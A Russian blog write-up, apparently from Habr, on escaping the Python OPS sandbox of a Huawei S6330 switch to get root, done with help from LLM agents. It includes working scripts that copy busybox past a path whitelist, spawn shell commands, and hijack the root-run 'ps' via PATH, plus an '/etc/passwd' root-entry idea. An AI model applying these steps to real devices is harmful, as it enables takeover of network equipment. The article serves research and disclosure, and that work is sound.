В прошлой статье было рассказано как “в три промпта” был получен shell для свитча SNR-2990X-24FQ (OEM DCN), в этой статье будет рассказано о более сложном реверс-инжиниринге свитча одного из топ-вендоров в мире сетевого оборудования. Несмотря на то, что сама прошивка уже устарела (ноябрь 2021 года), подобное оборудование всё ещё встречается в эксплуатации и область применимости описываемого метода, вероятно, значительно шире, чем один свитч с конкретной версией ПО. Что имеем на старте: свитч Huawei S6330-H48X6C, ПО V200R021C00SPC100, патч V200R021SPH180.
Дисклеймер: Описанный метод требует уже полученных административных прав на устройство и не позволяет выполнить код удалённо без предварительной аутентификации. Поэтому он рассматривается как исследовательский способ анализа устройства, а не как эксплуатация удалённой уязвимости.
В данной версии ПО shell запрещён, разрешён только небольшой список команд в режиме diagnose через команду shell-command.
Начало реверс-инжиниринга: скачиваем прошивку со свитча (.cc-файл), отдаём её DeepSeek v4 Pro (Ultra) (через родной для него kun-agent) на распаковку, аналогично тому, как это делалось в прошлой статье, каких-то специальных защит от распаковки нет, почти всё можно сделать одним binwalk, но deepseek потом рассортирует файлы и сделает описание к ним. Использовался DeepSeek потому что он очень дёшев и его способностей хватает на подобные задачи.
Далее, были использованы инструменты в порядке возрастания их стоимости: DeepSeek, Cursor Composer 2.5, затем GLM-5.2 (MAX) через ZCode. Первые два инструмента, проанализировав распакованную прошивку, не смогли предложить работающих вариантов, а GLM предложил перспективный вариант получения shell — на свитче есть подсистема OPS, в рамках которой можно запускать python-скрипты на свитче для автоматизации различных задач, например ZTP (zero touch provisioning). Казалось бы, заливаем python-скрипт и выполняем через него shell-команды, но данная подсистема является не просто исполнителем python-скриптов, а используется модифицированный python, в котором почти всё удалено, а доступ к файлам за пределами разрешённого списка, заблокирован, просто взять и вызвать os.execv() нельзя: её просто нет (как и других простых вариантов типа system() или popen()).
Далее используется только GLM. Просим ИИ сделать разведку (тестовым скриптом) и понять какие функции всё-таки удалены, а какие нет. Первая находка — os.posix_spawn не удалена, пробуем через неё запустить /bin/sh и здесь упираемся в следующее ограничение модифицированного python — в libpython3.8.so встроена проверка пути (ограниченный список путей, с которыми можно работать из скриптов) прямо в общую C-функцию, которую используют все методы os.* с path-аргументом. Разрешённый список путей: /mnt/flash, /mnt/sd, /mnt/usb, /mnt/vhdd, /mnt/squash, /usr/lib/, /dev/urandom. С /mnt/flash можно работать из родного CLI-свитча — заливать в него файлы, например, через ftp/sftp. Но если просто положить shell (busybox) в /mnt/flash, то у него не будет executable-бита и проставить его через родной CLI нельзя. Проблема решается одним из двух способов: залить busybox в /mnt/flash и потом через python-скрипт скопировать его, создав новый файл с executable-битом, либо скопировать его с родной ФС из /bin. Второй способ упирается в фильтрацию путей, но обходится тем, что она не применяется к встроенной функции open() (но применяется к os.open()). Скрипт создания bash (копирования busybox) в разрешённом каталоге для последующего его запуска через os.posix_spawn():
i.py (копирование busybox в разрешенный каталог)
import opsimport osdef ops_condition(_ops): _ops.timer.countdown("t", 3) return 0def ops_execute(_ops): o = _ops src = "/bin/busybox.nosuid" dst = "/mnt/flash/$_user/bash" # Copy /bin/busybox.nosuid to whitelist path with exec bit. # - builtin open() reads any path (bypasses whitelist stat-patch) # - os.open in whitelist path creates file with mode 0o755 (exec bit) # - os.sendfile copies in-kernel (no OOM risk under 90MB cgroup) try: fin = open(src, "rb") sfd = fin.fileno() dfd = os.open(dst, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o755) total = 0 while True: n = os.sendfile(dfd, sfd, None, 1048576) if n == 0: break total += n os.close(dfd) fin.close() o.syslog("COPY_OK bytes=%d" % total, ops.CRITICAL, ops.SYSLOG) except Exception as e: o.syslog("COPY_ERR " + repr(e)[:200], ops.CRITICAL, ops.SYSLOG) o.result(1) return 1 o.result(0) return 0
Для тех кто не знаком с busybox и концепцией applet: если файл busybox назвать bash или ash, он будет работать как shell, а если назвать ls, то как ls, т.е. осуществлять листинг файлов. Обычно реализуется за счёт симлинков, но можно и путём копирования.
Процедура запуска скрипта на свитче:
# заливаем файл на свитч, далее<HUAWEI>ops install file ftp/i.pyInfo: The script file flash:/ftp/i.py is installed on the device successfully.<HUAWEI>sys[HUAWEI]ops[HUAWEI-ops]script-assistant python i.pyInfo: Executing user script... Please wait...Info: The script assistant i.py is installed on the device successfully.
В логе видим такое сообщение:
%%01OPSA/2/SCRIPT_LOG(l)[0]:OPS: COPY_OK bytes=829144 (user="i.py", session=836255288)
Теперь воспользуемся скопированным “bash” через второй OPS-скрипт:
r.py (запуск команд: echo HELLO; id; uname -a; pwd)
import opsimport osimport timedef ops_condition(_ops): _ops.timer.countdown("t", 3) return 0def ops_execute(_ops): o = _ops dst = "/mnt/flash/$_user/bash" out = "/mnt/flash/_cmd.out" # Run a shell command via busybox bash applet. # stdout+stderr captured to file via posix_spawn file_actions. # Result read back via builtin open() and logged via syslog. cmd = "echo HELLO; id; uname -a; pwd" try: os.unlink(out) except Exception: pass dfd = os.open(out, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644) actions = [ (os.POSIX_SPAWN_DUP2, dfd, 1), (os.POSIX_SPAWN_DUP2, dfd, 2), (os.POSIX_SPAWN_CLOSE, dfd), ] argv = [dst, "-c", cmd] pid = os.posix_spawn(argv[0], argv, {}, file_actions=actions) os.close(dfd) deadline = time.time() + 3 while time.time() < deadline: try: wpid, status = os.waitpid(pid, os.WNOHANG) if wpid != 0: break except ChildProcessError: break time.sleep(0.1) time.sleep(0.2) try: with open(out, "rb") as f: o.syslog("OUT " + repr(f.read(460)), ops.CRITICAL, ops.SYSLOG) except Exception as e: o.syslog("OUT_ERR " + repr(e)[:150], ops.CRITICAL, ops.SYSLOG) o.result(0) return 0
Деплой этого скрипта осуществляется точно также как и предыдущего, результат из лога:
%%01OPSA/2/SCRIPT_LOG(l)[0]:OPS: OUT b'HELLO\nuid=102(normal) gid=102(normalg) groups=0(root)\nLinux localhost 4.4.240 #1 SMP PREEMPT Fri Jul 2 17:52:12 CST 2021 aarch64 GNU/Linux\n/usr\n' (user="r.py", session=836255520)
Как видно, скрипт запускается не из-под root, а под пользователем normal (102).
Получение root shell сначала казалось простым, в прошивке есть скрипт IAM_Huawei_Comm.sh, который зачем-то назначает пользователя normal владельцем /etc/passwd (и не только на этот файл, а ещё множество других) и в него действительно можно добавить запись вида: attacker::0:0:attacker:/root:/bin/sh, но проблема в том, что неясно как этим потом пользоваться, ни у одного бинарника нет suid-бита. Можно также поправить скрипты запуска, на них тоже есть права у пользователя normal, но проблема в том, что всё это живёт в ramfs до следующей перезагрузки. GLM предлагает применить тяжёлую артиллерию и проверить несколько уязвимостей ядра (тем более что оно очень старое и за 5 лет их найдено немало). Проверять эти варианты слишком рискованно, потому что до свитча нет физического доступа и если зависнет или упадёт родной CLI, то потребуется времени на его восстановление. Несколько других нейросетей тоже не смогли предложить реалистичных альтернатив. Передав GLM идею о том, что часть команд доступна через shell-command из CLI свитча, далее убеждаемся в том, что эти команды выполняются из-под root, т.е. можно просто заменить какую-нибудь из этих команд на скрипт, который будет исполняться от root. Но GLM предложил более изящный вариант — сделать command hijacking (чтобы не заменять настоящий ps) и просто положить фейковый ps в /sbin, который в переменной PATH идёт раньше, чем /usr/bin (настоящий ps лежит в /usr/bin):
ps.py (создание фейкового ps в /sbin)
import opsimport osimport timedef ops_condition(_ops): _ops.timer.countdown("t", 3) return 0def run_bash(bash, cmd, timeout=5): """Run cmd via bash, return (stdout+stderr) string.""" out = "/mnt/flash/_cmd.out" try: os.unlink(out) except Exception: pass dfd = os.open(out, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644) actions = [ (os.POSIX_SPAWN_DUP2, dfd, 1), (os.POSIX_SPAWN_DUP2, dfd, 2), (os.POSIX_SPAWN_CLOSE, dfd), ] argv = [bash, "-c", cmd] pid = os.posix_spawn(argv[0], argv, {}, file_actions=actions) os.close(dfd) deadline = time.time() + timeout while time.time() < deadline: try: wpid, status = os.waitpid(pid, os.WNOHANG) if wpid != 0: break except ChildProcessError: break time.sleep(0.1) time.sleep(0.15) try: with open(out, "rb") as f: return f.read().decode("utf-8", "replace") except Exception as e: return "READ_ERR:" + repr(e)[:100]def ops_execute(_ops): o = _ops bash = "/mnt/flash/$_user/bash" # /sbin/ps wrapper: run id, save proof, then call original ps ps_script = ( '#!/bin/sh\n' '{ echo \'=== PS root TRIGGERED ===\'; id; ' 'echo \'=== PS root END ===\'; } > /mnt/flash/_root_proof_id 2>&1\n' '/bin/ps "$@"\n' ) # Write payload to /mnt/flash/_ps_payload (whitelist path, no $ in name). # Using /mnt/flash root avoids $_user expansion problem in bash. tmp = "/mnt/flash/_ps_payload" try: fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644) os.write(fd, ps_script.encode()) os.close(fd) except Exception as e: o.syslog("WRITE_ERR " + repr(e)[:200], ops.CRITICAL, ops.SYSLOG) o.result(1) return 1 # Use bash to cp payload to /sbin/ps with exec bit. # /mnt/flash/_ps_payload has no $ so bash won't expand anything. # /sbin is writable by UID 102 and first in vos.o $PATH. result = run_bash(bash, "cp /mnt/flash/_ps_payload /sbin/ps && " "chmod 755 /sbin/ps && " "echo CREATED && ls -la /sbin/ps") o.syslog("DEPLOY " + result.strip()[:460], ops.CRITICAL, ops.SYSLOG) # Cleanup temp file try: os.unlink(tmp) except Exception: pass o.result(0) return 0
В логе получаем сообщение:
%%01OPSA/2/SCRIPT_LOG(l)[3]:OPS: DEPLOY CREATED-rwxr-xr-x 1 normal normalg 126 Aug 5 23:25 /sbin/ps (user="ps.py", session=836254824)
Проверка root shell:
[HUAWEI-diagnose]shell-command slot 0 ps PID TTY TIME CMD 1139 ttyS0 00:00:00 rc.user 1199 ttyS0 00:00:00 init_mpu.sh 2265 ttyS0 00:00:00 bootload_step2_ 2310 ttyS0 05:19:05 monitor 2311 ttyS0 24-12:50:44 vos.o15236 ttyS0 00:00:00 ps15238 ttyS0 00:00:00 ps <--- тут уже видно, что ps обёрнут<HUAWEI>more _root_proof_id=== PS root TRIGGERED ===uid=0(root) gid=0(root) groups=0(root)=== PS root END ===
Сделать обёртку, чтобы это было похоже на настоящий shell не составляет большой сложности, можно сделать как внешнюю, так и внутри CLI если в ops_condition использовать ops.cli.subscribe.
Итоговая схема получения root shell:
OPS Python sandbox | vposix_spawn() | vnormal user execution | | +---- discover root CLI context | v CLI shell-command(root) | v command hijacking | v root execution
Выводы? При разработке ПО, люди до сих пор дискутируют о пользе и границах применения агентской разработки с LLM-ядром. Такие проблемы как когнитивный долг, длительное ревью сгенерированного кода людьми (на проектах со строгим ревью) и (всё реже) галлюцинации, невысокие показатели ускорения разработки по сравнению с разработкой без ИИ, нельзя просто так игнорировать. Но задача, описанная в данной статье, заведомо лишена этих проблем. Если root получен, то он получен и итогом будет небольшой документ и/или не очень много для его получения, а то что ИИ проверил сотню гипотез, половина из которых очевидно нерабочие, это не очень важно. Стоимость реверс-инжиниринга, осуществлённого в этой статье: около 1$ на токены deepseek и примерно 67% недельного лимита GLM Coding Plan Lite, что по текущим тарифам соответствует примерно трём долларам. Итого, около 4$ на токены/подписки и примерно 10 часов времени автора статьи, значительная часть которого была потрачена на наблюдение за тем, как ИИ ждёт таймауты и на попытки научить его более эффективно взаимодействовать с оборудованием и заставить запускать больше субагентов параллельно. В данной задаче применялся технический опыт автора статьи и действия ИИ корректировались, эксперимент по автономной работе до получения результата не проводился, токенов/ресурсов подписки было бы потрачено значительно больше, если совсем не корректировать действия ИИ. Бо́льшая часть рутинной работы была сделана ИИ.
P.S. В более современном продукте Huawei, а именно AR6700V-L с ПО V600R025C00SPC100, кроме модифицированного python в подсистеме OPS (в котором запрещено ещё больше), применяется также жёсткая изоляция с помощью kernel namespaces (т.е. контейнеризация). Автору статьи неизвестно, на каких именно продуктах и версиях ПО Huawei работает указанный метод получения root shell, такое тестирование не проводилось.
P.P.S. Кому-то эта статья интересна только со стороны процесса получения root shell и не интересно, какие LLM и агенты были использованы и сколько токенов потрачено, но в действительности она задумывалась именно для демонстрации того, насколько новые инструменты упрощают и ускоряют реверс-инжиниринг. Под капотом GLM/ZCode много дизассемблировал в целях поиска возможных вариантов и объяснения неудач, в классической статье было бы много связок кусок asm -> потенциальная возможность (или наоборот, тупик). Здесь это намеренно не описывается, считая это рутиной, делегированной ИИ.
ссылка на оригинал статьи https://habr.com/ru/articles/1067244/